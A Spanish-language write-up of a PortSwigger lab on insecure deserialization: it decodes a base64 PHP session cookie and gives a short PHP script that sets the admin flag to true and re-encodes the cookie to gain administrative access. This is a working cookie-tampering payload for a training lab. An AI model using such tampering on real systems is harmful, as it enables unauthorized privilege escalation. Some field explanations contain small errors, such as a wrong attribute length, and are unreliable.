← Writeups

Modifying serialized objects

This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result. To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter


https://siunam321.github.io/ctf/portswigger-labs/Insecure-Deserialization/deserial-1/ Al iniciar sesion y decodificar la el valor de Set-Cookie de la respuesta y reconocer que es un valor codificado en url encoded por el %30 al final y luego en base64 por el "=" se evidencia que esu n objeto PHP serializado :

echo -n 'Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30=' |base64 -d                                     
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}% 
  • 0:4:"User" : objeto User con longitud de 4 caracteres
  • :2: hay 2 atributos:
    • s:8:"username" primer atributo llamado username con longitud de 5 caracteres
      • s:6:"wie ner" valor del primer atributo con longitud 6
    • s:5:"admin" segundo atributo llamado admin
      • b:0 valor booleano para el atributo admin

con lo anterior se pude escribir un codigo PHP para serializar y deserializar este objeto PHP:

<?php
    $deserializedObject = 'O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}';

    $serializedObject = unserialize($deserializedObject);
    echo "[+] Serialized: \n";
    var_dump($serializedObject);

    echo "[+] Base64 encoded: \n" . base64_encode($deserializedObject);
?>

Salida:

+] Serialized: 
object(__PHP_Incomplete_Class)#1 (3) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(4) "User"
  ["username"]=>
  string(6) "wiener"
  ["admin"]=>
  bool(true)
}
[+] Base64 encoded: 
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=